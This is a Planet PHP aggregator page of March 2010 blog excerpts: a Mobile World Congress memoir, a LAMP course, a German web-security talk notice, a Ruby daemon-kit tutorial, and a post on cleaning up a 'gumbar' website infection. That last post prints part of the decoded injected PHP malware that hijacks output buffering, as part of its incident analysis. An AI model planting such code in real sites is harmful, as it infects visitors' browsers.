My RSS » Planet PHP » March 2, 2010

Planet PHP

Mobile World Congress 2010

Posted: March 2nd, 2010, 8:32am MST by Mark Dennehy

Two years ago while I was working at dotMobi, I was one of the programmers working on the DeviceAtlas project, which launched at Mobile World Congress 2008. At the time, it was the largest launch I’d been involved in and it was quite a ride towards the end – when you’re launching to 60,000 people [...]
LAMP Training for GrameenPhone: Download the course materials

Posted: March 2nd, 2010, 4:33am MST by Hasin Hayder
Strategische Vorgehensmodelle für Web Security Vortrag@Mayflower-München

Posted: March 2nd, 2010, 3:39am MST by ThinkPHP /dev/blog - PHP

Achtung! Neuer Termin: 04. März 2010

Am kommenden Donnerstag, den 04.03.2010 findet wieder ein öffentlicher Vortrag im Mayflower Büro in München statt (Mannhardtstraße 6, S-Bahn Isartor).
Beginn ist um 18:00 Uhr, Thema des Vortrags ist "Strategische Vorgehensmodelle für Web Security".

Web Security rückt zunehmend in den Mittelpunkt aktueller Businessanwendungen. Dabei gibt es einige strategische Vorgehensmodelle, wie Web Security für Lösungen in Unternehmen realisiert werden kann. Johann-Peter Hartmann gibt einen Überblick.

Die "Donnerstags-Vorträge" werden sowohl in München als auch in Würzburg gehalten. Bei Interesse einfach das Blog beobachten, um auf dem Laufenden zu bleiben!
Wir freuen uns auf viele Teilnehmer!

Foto: ntr23 (flickr)
Using Daemon-Kit and RobustThread to Build Ruby Daemons

Posted: March 2nd, 2010, 3:30am MST by IONCANNON
On a number of occasions I have found myself needing to assemble a daemon process for some type or processing done using Ruby. Each time I roll things a little different and I finally started to wonder if someone had already put together tools for doing the daemon parts. After some quick digging I ran into Daemon-Kit and after adding it together with a couple other tools it seems like what I've needed. I've put together a few recipes here to help guide others who might be looking for something similar.
A simple daemon

Creating a simple daemon is easy. This is a simple walk through so look at the project's documentation for much more information. First you will need to get the gem installed:
```
gem install daemon-kit
```
After the gem is installed you create a daemon with the following command:
```
daemon-kit asimple
```
Now you have some generated code in the asimple directory. In that directory you will find a README that tells you want each directory is used for. The main file to look at for this example is:
```
libexec/asimple-daemon.rb
```
A fresh file will have a lot of comments in it pointing you in the right direction. Here is a modified version where I'm displaying the contents of /tmp over and over:
```
DaemonKit::Application.running! do |config|
end

loop do
  DaemonKit.logger.info Dir.entries('/tmp/').join(' ')
  sleep 5
end
```
To run the daemon you would use a command like the following:
```
RUBYOPT=rubygems ./bin/asimple
```
The documentation found in the project is great so look there for more information. There is a lot of flexibility built in like multiple environment support and command line options. The daemons and angels blog post is educational and worth a read for more on the basics of daemon-kit.

After experimenting for a while I think I may want to go back and redo the live segmenter so that it uses daemon-kit instead of my hand rolled process. That is probably a good example of where the simple functionality comes in.

An event driven daemon with RabbitMQ

What tilted me towards looking into Ruby daemon options was actually another event driven process I was thinking about. As it turns out daemon-kit supports creating evented daemons as well. I picked RabbitMQ for the following example but anything that supports AMQP should work. I'm going to assume you have RabbitMQ installed already.

First off you need to install the AMQP gem:
```
gem install eventmachine
gem install amqp
```
At this point you might want to verify that you can connect to your MQ server using some AMQP examples.

To generate an event based daemon use the following command:
```
daemon-kit -i amqp eventbased
```
For some reason the generated code didn't work right out of the box for me but a slight modification fixed the issue. I added the following to the top of the config/environment.rb file:
```
require 'amqp'
require 'mq'
```
Again the file generated in libexec is the starting point and gives you good hints as to where you want to start. I've modified my example above to take a directory to gather the contents of and respond with those contents as another message:
```
DaemonKit::Application.running! do |config|
end

DaemonKit::AMQP.run do
  amq = ::MQ.new

  amq.queue('dir_request').subscribe(:ack => true) do |h, msg|
      h.ack # just ack the message

      DaemonKit.logger.debug "Received message: #{msg.inspect}"

      amq.queue('dir_response').publish(Dir.entries(msg).join(' '))
  end
end
```
One thing to note is that I've set the message queue to require an acknowledgement for each message. I did this to simulate a process that requires that each request be executed once. Now all that is needed is a simple application to produce request messages and display the response:
```
require 'rubygems
```
Truncated by Planet PHP, read more at the original (another 7600 bytes)
Reported Attack Site - recovering from gumbars

Posted: March 2nd, 2010, 2:25am MST by Alan Knowles
Just about finished a gumbar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)

The gumbar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.

When you ignore the message and go through to the site, look at the html the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.

At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.

My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.

Cleaning it out
The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).

After that it was a matter of googling for details of the attack and writing a gumbar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include
- php files with an eval/base64_encode line
- javascript files with document.write lines
- html, shtml and htm files with <script tags.
I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.

Inside out of the attack.
The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.

Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)

This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)
This is a snippet of the decoded script
```
if(!function_exists('kqyf')){
   function kqyf($s){

     ... infect the page stuff goes here...  
	}
	function kqyf2($a,$b,$c,$d){
		global$kqyf1;
		$s=array();
		if(function_exists($kqyf1))
			call_user_func($kqyf1,$a,$b,$c,$d);
		foreach(@ob_get_status(1)as$v)
			if(($a=$v['name'])=='kqyf')
				return;
			elseif($a=='ob_gzhandler')
				break;
			else
				$s[]=array($a=='default output handler'?false:$a);
		for($i=count($s)-1;$i>=0;$i--){
			$s[$i][1]=ob_get_contents();
			ob_end_clean();
		}
		ob_start('kqyf');
		for($i=0;$i<count($s);$i++){
			ob_start($s[$i][0]);
			echo $s[$i][1];
		}
	}
}

$kqyfl=(($a=@set_error_ha
```
Truncated by Planet PHP, read more at the original (another 1038 bytes)